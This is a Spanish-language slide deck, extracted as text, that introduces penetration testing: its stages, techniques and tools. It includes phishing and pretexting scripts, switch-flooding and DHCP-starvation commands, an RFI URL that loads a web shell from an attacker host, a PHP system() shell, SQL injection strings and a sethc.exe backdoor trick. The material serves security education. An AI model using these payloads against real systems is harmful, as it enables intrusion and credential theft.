CONTENIDO
Introducción
Que es un Penetration Testing?
Cuales son las ventajas de un Penetration Testing?
Tipos de Penetration Testing
Etapas de un Penetration Testing
Info Gathering
Escaneo y Enumeración
Planteamiento del ataque
Ataque
Elaboración de los Reportes
Técnicas Usadas en un Penetration Testing
Ingeniería Social
Fingerprinting
Escaneo de puertos TCP – UDP
Enumeración y detección de servicios vulnerables
Ataques a protocolos de red
Ataques a Web Aplications
Técnicas de evasión de Firewalls
Ejecución de Código Arbitrario
Desbordamientos de Memoria
Escalamiento de Privilegios
Borrado de Huellas
CONTENIDO (Cont.)
CONTENIDO (Cont.)
Herramientas utilizadas en un Penetration Testing
Comandos desde la Shell
Port scanners
Vulnerability scanners
Sniffers
Password Cracking Tools
Constructores de paquetes
Advisories
Exploits
Troyanos
Software de Administración Remota
Aclaración:
Estas son solo algunas de las herramientas Utilizadas en un Penetration Testing, existen otras muchas mas dependiendo el tipo de red, Topología y Sistema Operativo.
Introducción
Hoy día hay una enorme necesidad de seguridad en las redes de computadoras. Pero esto no es casualidad: nuestra vida diaria depende de una manera impresionante de los sistemas informáticos.
Además, la evolución rápida y la demanda por la tecnología han traído como consecuencia que los programadores de software, en muchas ocasiones, releguen la seguridad a segunda prioridad.
Es ante esta falta de seguridad que desde individuos a corporaciones caen víctimas de piratas informáticos.
Es aquí donde juega un papel relevante el Ethical Hacking o Hacking Ético. Una disciplina de la seguridad de redes que se sustenta en el hecho de que para estar protegido se debe conocer cómo operan y quéherramientas usan los hackers.
Estos llamados Hackers Eticos (PEN-TESTER, por sus siglas en inglés) desarrollan lo que en la jerga de seguridad se conoce como Prueba de Penetración, (PEN-TEST por sus siglas en inglés).
Es un conjunto de metodologías y técnicas para realizar una evaluación integral de las debilidades de los sistemas informáticos. Consiste en un modelo que reproduce intentos de acceso no autorizado a cualquier entorno informático de un intruso potencial desde los diferentes puntos de entrada que existan, tanto internos como externos. Se debe tener el permiso de la empresa para realizar las pruebas.
QUE ES UN PENETRATION TESTING?
VENTEJAS DE UN PENETRATION TESTING
Generar una visión de los riesgos y su impacto en la organización.
Identificar los problemas y darles una solución inmediata.
Implementación de nuevos y mejores modelos de seguridad resultantes de las pruebas de intrusión externas e internas.
Adelantarse a los Crackers, empleados o ex-empleados a identificar las vulnerabilidades del Sistema.
Generar mayor presupuesto para el área de Seguridad de la Información o Sistemas Informáticos.
Obtención de Información
Detección de Vulnerabilidades
Análisis y planeamiento de la información
Ataque /Escalar privilegios
Analisis de Resultados y Reportes
Limpieza
LISTO?Reposición / Pivot
Obtener tanta información como sea posible del destino.
Ataque, tomando ventaja de las vulnerabilidades detectadas.Comprometer un host obteniendo privilegios de system/user.
Cambios en los demas ataques - Tomar ventaja de los privilegios en sistemas obtenidos
Dejar todo como estaba antes del ataque
Entender la relación entre los componentes.Planeamiento del ataque.Identificación del destino.
Definición de alcance/objetivo
Definición de alcance
Detección de vulnerabilidades
Reportes
Fueron los objetivos alcanzados?
SI
NO
Que probar? Donde probar? Perfil del atacante.
Detección de Vulnerabilidades Penetration Testing
Obtención de Información
DETECCION DE VULNERABILIDADES VS. PENTEST
ETAPAS DE UN PENETRATION TESTING
Esta es la primera etapa, donde se trata de obtener la mayor cantidad de información de la empresa a la cual se le hará el PenTest.
1 - Info Gathering1 - Info Gathering
Nombre de la empresa y rubro
Significado completo de las siglas de la Empresa
Número de empleados, áreas y departamentos de trabajo
Nombres del personal, Gerencias y Sub-Gerencias
Números de las Centrales Telefónicas, Internos
Pagina Web, número de servidores
S.O. de las estaciones de trabajo, número de workstations
Nombre de la empresa y rubroNombre de la empresa y rubro
Significado completo de las siglas de la EmpresaSignificado completo de las siglas de la Empresa
NNúúmero de empleados, mero de empleados, ááreas y departamentos de trabajoreas y departamentos de trabajo
Nombres del personal, Gerencias y SubNombres del personal, Gerencias y Sub--GerenciasGerencias
NNúúmeros de las Centrales Telefmeros de las Centrales Telefóónicas, Internosnicas, Internos
Pagina Web, nPagina Web, núúmero de servidoresmero de servidores
S.O. de las estaciones de trabajo, nS.O. de las estaciones de trabajo, núúmero de workstationsmero de workstations
ETAPAS DE UN PENETRATION TESTING
En esta etapa, se realiza el barrido de IP’s en busca de puertos abiertos para luego pasar a la enumeración de Puertos y Servicios activos en el server remoto.
2 - Escaneo y Enumeración2 - Escaneo y Enumeración
ETAPAS DE UN PENETRATION TESTING
Con toda la información obtenida de las etapas anteriores, acá nos encargamos de medir el alcance de nuestro Penetration Testing, en base a la información recopilada, dirigiendo nuestro ataque hacia:
- Puertos abiertos
- Servicios Web vulnerables
- Aplicaciones mal programadas
- Sistemas Operativos desactualizados
- Equipos de red mal configurados
3 - Planteamiento del Ataque3 - Planteamiento del Ataque
ETAPAS DE UN PENETRATION TESTING
En base a nuestro Plan de Ataque, en esta etapa llevamos a cabo todas las pruebas de intrusión planeadas para que de alguna forma, logremos acceder al server remoto o ejecutar código remoto arbitrario.
4 - Ejecución del Ataque4 - Ejecución del Ataque
ETAPAS DE UN PENETRATION TESTING
Esta es la última etapa en la cual se realizan los informes finales a la Alta Gerencia y la Gerencia de Sistemas, en los cuales debe ir toda la información resumida de las vulnerabilidades encontradas, los resultados del Penetration Testing y las soluciones posibles a corto y mediano plazopara realizar en la empresa.
5 - Elaboración de los Reportes5 - Elaboración de los Reportes
TÉCNICAS USADAS EN UN PEN-TEST
Convencer a la gente de que haga algo que normalmente no debería, o nos de información clasificada
Ingeniería SocialIngeniería Social
Algún buen chico que quiera a ayudar a una linda chica en apuros ?????
Maria:
TÉCNICAS USADAS EN UN PEN-TEST
Existen varias técnicas, como:
Presénciales – Semipresenciales – No presenciales
Agresivas – No agresivas
Ingeniería SocialIngeniería Social
From: Super-User <[email protected]>To: Usuario <[email protected]>Subject: Cambio de claveBuen dia,Para realizar una serie de pruebas orientadas a conseguir un optimo funcionamiento de nuestro sistema, es necesario que cambie su clave. Hasta que reciba un nuevo aviso (aproximadamente en unasemana), por favor, asigne a su contraseña el valor ‘AES123' (en mayusculas).Rogamos disculpe las molestias. Saludos
AdministradorGerencia de Sistemas
Este es un ataque típico de e-mail spoofing hacia un cliente que mediante Ing. Social se a descubierto que no tiene conocimientos sólidos en Seguridad Informática, el cual seguirá al pie de la letra las instrucciones.
TÉCNICAS USADAS EN UN PEN-TEST
Ingeniería SocialIngeniería Social
Administrador: Buenos días, aquí área de sistemas, en qué podemos ayudarle? Atacante: Hola, soy Juan Pérez, Gerente de Créditos, llamaba porque no consigo recordar mi password en la máquina cliente027.miempresa.net Administrador: Un momento, me puede decir su nombre de usuario? Atacante: Sí, claro, es jperez. Administrador: Muy bien, la nueva contraseña que acabo de asignarle es password1234 . Por favor, no olvide cambiarla. Atacante: Por supuesto. Muchas gracias, ha sido muy amable.Administrador: De nada, un saludo.
Este es otro ataque de Ing. Social, que se realiza muy a menudo no solo para obtener la contraseña, sino para obtener números telefónicos, de celulares, direcciones y otras cosas que su imaginación les permita.
TÉCNICAS USADAS EN UN PEN-TEST
FingerprintingFingerprinting
Detectar el S.O. del Host remoto y sacar la mayor cantidad de información de él.
HEAD / HTTP/1.0
TÉCNICAS USADAS EN UN PEN-TEST
Escaneo de puertos TCP - UDPEscaneo de puertos TCP - UDP
Búsqueda de puertos abiertos para enumeración de puertos y servicios remotos del Host.
Esta técnica, esta compuesta por otras mas complejas para poder escanear a través de Firewalls, como ser construcción de paquetes, escaneos con filtros de protocolo ICMP, escaneos con los flags del encabezado TCP, forzar respuestas ante peticiones válidas e invalidas, etc., etc.
TÉCNICAS USADAS EN UN PEN-TEST
Escaneo de puertos TCP - UDPEscaneo de puertos TCP - UDP
NMap, uno de los mejores escanners de Puertos.
TÉCNICAS USADAS EN UN PEN-TEST
Enumeración y Detección de Servicios VulnerablesEnumeración y Detección de Servicios Vulnerables
Todo Pen-Test debe llevar un registro ordenado de todos los puertos y servicios activos en el Host remoto, para asípoder hacerse una imagen del posible escenario de ataque.
http://www.iana.org/assignments/port-numbers
TÉCNICAS USADAS EN UN PEN-TEST
Enumeración y Detección de Servicios VulnerablesEnumeración y Detección de Servicios Vulnerables
TÉCNICAS USADAS EN UN PEN-TEST
Ataques a protocolos de RedAtaques a protocolos de Red
Esta técnica es uno de los primeros tipos de ataques que se realizan en un Pen-Test para sacar información del Host remoto, unidades compartidas, nombre del server, Dominio en el que trabaja, direcciones MAC, software instalado y hasta podemos conectarnos a Host remoto mapeando todas sus unidades a nuestra máquina, logrando acceder a información
confidencial en muchos casos.
obviamente todo esto se realiza si los puertos 137,138 y 139 están abiertos
TÉCNICAS USADAS EN UN PEN-TEST
Ataques a protocolos de RedAtaques a protocolos de Red
macof -i eth1
Spanning Tree Protocol (STP). Cisco Discovery Protocol (CDP). Dynamic Trunking Protocol (DTP). Dynamic Host Configuration Protocol (DHCP). Hot Standby Router Protocol (HSRP). 802.1q. Inter-Switch Link Protocol (ISL). VLAN Trunking Protocol (VTP).
dhcpstarv -i eth0
TÉCNICAS USADAS EN UN PEN-TEST
Evasión de FirewallsEvasión de Firewalls
Existen varias formas de evadir los firewalls, una de las mas Existen varias formas de evadir los firewalls, una de las mas simples es por deduccisimples es por deduccióón ln lóógica.gica.
Internet
ISP
Web 80
FTP 21
SMTP 25
SQL 1433
Ssh 22
Rdesk 3389DMZ
LAN
TÉCNICAS USADAS EN UN PEN-TEST
Evasión de FirewallsEvasión de Firewalls
Donde:xxx.xxx.xxx.xxx= ip del equipo vulnerado mediante sql injection.yyy.yyy.yyy.yyy= ip del equipo target real.r 22= al puerto que tratamos de conectar por detrás del firewall.s 22= el puerto exacto origen.l 135= el puerto permitido por el firewall.
TÉCNICAS USADAS EN UN PEN-TEST
Ejecución de Código ArbitrarioEjecución de Código Arbitrario
Esta técnica se puede realizar encontrando Bugs tanto en las Web Aplications, como en los diferentes servicios que se ejecutan en el Host remoto y consiste en aprovechar alguna falla para hacer que dicho Host, realice acciones o ejecute comandos en forma arbitraria para lo cual no esta programado. Pudiendo pedirle que realice desde un simple Ping a nuestro equipo, hasta pedirle que nos envíe su shell a un puerto específico en nuestro equipo, que nos liste sus directorios y archivos, que nos envíe cualquier archivo que le pidamos, entre otras muchas cosas más que se pueden hacer.
TÉCNICAS USADAS EN UN PEN-TEST
Cross Site Scripting XSSCross Site Scripting XSS
Es una técnica que permite explotar una vulnerabilidad debido a la mala programación y el filtrado no eficaz de los datos, la misma se basa en métodos de programación para ejecutar scripts arbitrarios y maliciosos en el cliente (JavaScript, VBscript, Activex).
TÉCNICAS USADAS EN UN PEN-TEST
Remote File InclusionRemote File Inclusion
RFI es una vulnerabilidad php que permite enlazar archivos que estan en servidores remotos, esta vulnerabilidad se produce por una mala programacion del webmaster. Es una de las técnicas de deface mas conocida.
http://www.victima.com/index.php?page=plantilla.html
El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:
http://www.victima.com/index.php?page=http://www.atacante.com/shell.txt&&cmd=ls
Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:
<? system($cmd); ?>
TÉCNICAS USADAS EN UN PEN-TEST
Inyección SQLInyección SQL
Login: yo' or 1=1--Pass: yo' or 1=1--http://example.com/login.asp?id=yo' or 1=1--
Es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL.
TÉCNICAS USADAS EN UN PEN-TEST
Ataque a las Web AplicationsAtaque a las Web Aplications
SMTP
HTTP
Sendmail
Exchange
Apache
IIS
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
FTP
SSH
PROXY
WU_FTPd
FTP Server
Ssh
Squid
Wingate
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
Unix/LinuxUnix/Linux
MicrosoftMicrosoftEn esta parte del ataque de acuerdo a la información obtenida, se trata de vulnerar el Host remoto mediante algún Bug en una de las Web Aplications instaladas. A esto se suman los ataques CGI’s, BOF, ejecución de código arbitrario, transversal directorys y otros mas.
TÉCNICAS USADAS EN UN PEN-TEST
Desbordamiento de MemoriaDesbordamiento de Memoria
Sucede cuando los datos enviados a un determinado servicio, exceden lo esperado, entonces se desborda la memoria del Buffer y se pueden sobrescribir los datos de retorno.Las consecuencias de ataques de este tipo pueden ser
Ataques de denegación de servicio
Ejecución de Código Arbitrario Remoto
Ganar privilegios sobre el sistema
Dar acceso a información critica
Acciones destructivas
La mayoría de los ataques en Internet hoy en día inclusive la de los virus y gusanos utilizan técnicas de desbordamiento de memoria o Buffer Over Flows como se las conoce.
TÉCNICAS USADAS EN UN PEN-TEST
Escalamiento de PrivilegiosEscalamiento de Privilegios
Cuando se logra acceder de alguna forma al sistema remoto y no se tienen los privilegios necesarios para continuar, es ahí donde se aplica esta técnica para elevar los privilegios en el Host remoto.
ren sethc.exe sethc2.execopy cmd.exe cmd2.execopy cmd2.exe sethc.exe
c:\control userpasswords
TÉCNICAS USADAS EN UN PEN-TEST
Borrado de HuellasBorrado de Huellas
Este es el último paso de un Pen-Test. Después de haber logrado acceder al Host remoto, haber capturado información confidencial o sensible y haber saltado todo sus sistema de seguridad, viene el borrado de huellas.
HERRAMIENTAS USADAS EN UN PEN-TEST
Port ScannersPort Scanners
Escaners de puertos los cuales nos ayudan a identificar servicios y
Web Aplications posiblemente vulnerables..
NMap, considerado
como la navaja
suiza de Internet,
permite
construcción de
paquetes,
fragmentación,
filtros ICMP y
muchas cosas mas.
HERRAMIENTAS USADAS EN UN PEN-TEST
Vulnerability ScannersVulnerability Scanners
Nessus detecta las vulnerabilidades presentes en una red (Sistemas Operativos, equipos de red, etc.) generando reportes y posibles soluciones.
HERRAMIENTAS USADAS EN UN PEN-TEST
Vulnerability ScannersVulnerability Scanners
Uno de los
scanners de
vulnerabilidades
mas poderosos
que existe para
servidores SQL
y Lotus Notes
de IBM
AppDetective 4.0
HERRAMIENTAS USADAS EN UN PEN-TEST
Vulnerability ScannersVulnerability Scanners
Scanner creado
por el Grupo de
Seguridad GFI,
utilizado por la
DEA y el FBI para análisis de redes y
vulnerabilidades,
uno de los
mejores con la
excepción de que
cuando se
encuentra con un
Firewall, muere el escaneo.
Languard Network Security Scanner
HERRAMIENTAS USADAS EN UN PEN-TEST
Sniffers en la Red LocalSniffers en la Red Local
Wireshark
Herramienta que coloca
nuestra placa de red en modo promiscuo para
que podamos escuchar
y aceptar todos los
paquetes que envían y
que les llegan a los
otros equipos.
Tiene filtros de protocolos para
identificar la
información de manera
mas rápida y no
funciona en redes
switcheadas (a menos
que se configure un
puerto del switch en modo mirror)
HERRAMIENTAS USADAS EN UN PEN-TEST
Sniffers en la Red LocalSniffers en la Red Local
Captura de una sesión de correo con Ethereal
Captura de una sesión de Telnet Captura de una sesión en Mixmail
Captura de una sesión en Hotmail
HERRAMIENTAS USADAS EN UN PEN-TEST
Password Cracking ToolsPassword Cracking Tools
Rompe contraseñas de NetBIOS
Remotamente John The Ripper el mejor Crackeador de contraseñas Unix – Linux y derivados
CAIN, crackeador de múltiples algoritmos de cifrado y opciones extras, como sniffer.
HERRAMIENTAS USADAS EN UN PEN-TEST.?
Password Cracking ToolsPassword Cracking Tools
L0phtcrack 4.0
El mejor Crackeador de
contraseñas para
sistemas Windows.
Puede sacar las
contraseñas desde el
equipo local, desde un
registro remoto, desde
un archivo SAM desde
un archivo PWDUMP o
desde cualquier otro
archivo LC.
Tiene sistema de
ataque por Diccionario,
Brute Force e Híbrido.
HERRAMIENTAS USADAS EN UN PEN-TEST
Constructores de PaquetesConstructores de Paquetes
hping2
Conocido también como el ping con esteroides !!! Una de las mejores herramientas para construcción de paquetes
-c 1: cuenta los paquetes.-S: especifica que utilizaremos paquetes con flags SYN.-p 80: especifica el puerto en este caso 80 (HTTP).Ahora la respuesta:ip=64.233.187.99: es la io que resolvio hping2.ttl=241: Time to Alive.sport=80: el puerto.flags=SA: Esto es lo que nos interesa, SA significa que envio un paquetecon los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto cheesy.Ahora un ejemplo de puerto cerrado:
Flags=RA En este caso resibimos RST y ACK o sea que el puerto esta cerrado
Constructores de PaquetesConstructores de Paquetes
HERRAMIENTAS USADAS EN UN PEN-TEST
Nemesis
Es un inyector de paquetes, su funcionamiento consiste en enviar tramas de datos a una red utilizando el protocolo tcp/ip. Se utiliza para probar y depurar servicios de red específicos. Es ideal para auditar servicios de red, pero también puede ser utilizada para realizar ataques a una red, como una inundación UDP y ARP poison.Soporta ARP, DNS, ICMP, IGMP, OSPF, RIP, TCP, UDP, protocolos capa 2 y capa 3.
HERRAMIENTAS USADAS EN UN PEN-TEST
AdvisoriesAdvisories
www.securityfocus.com
Considerado
como uno de
los mejores
Advisories ya
que muestra
información
del software
afectado, una
discusión del
problema, el
Exploit y la
forma de
solucionarlo.
HERRAMIENTAS USADAS EN UN PEN-TEST
ExploitsExploits
Programas dedicados a aprovechar ciertas fallas en una determinada aplicación o servicio.
Generalmente son programados en C o en Perl, pero los hay también eh Java, Visual, scripts, html, assembler, etc.
http://www.metasploit.com
HERRAMIENTAS USADAS EN UN PEN-TEST
TroyanosTroyanosEl uso de troyanos se utiliza como técnica para elevar los privilegios en el Sistema remoto, para así llegar a tener un control total del Host remoto.
Existen hoy en día técnicas para evasión de los antivirus en ambientes donde troyano y antivirus pueden vivir en armonia.
Existen hoy en día técnicas para evasión de los antivirus en ambientes donde troyano y antivirus pueden vivir en armonia.
HERRAMIENTAS USADAS EN UN PEN-TEST
Software de Administración RemotaSoftware de Administración Remota
Software que no es del grupo de los troyanos pero que se utiliza con el mismo objetivo, llegar a tener control total del Host remoto.
HERRAMIENTAS USADAS EN UN PEN-TEST.?
Distribucion para AuditoriaDistribucion para Auditoria
Existen varias distribuciones de Linux para realizar pruebas de seguridad, por ejemplo BackTrack, Pentoo, Kanoppix-STD, nUbuntu, Wifislax, etc.
PreguntasPreguntas
chakan
Referencia:
http://insecure.org
http://www.offensive-security.com
http://www.exploit-db.com
http://www.metasploit.com
http://www.backtrack-linux.org
http://www.securityfocus.com
http://packetstormsecurity.org
http://www.hackersforcharity.org/ghdb
http://www.vulnerabilityassessment.co.uk
http://www.dragonjar.org
Top Related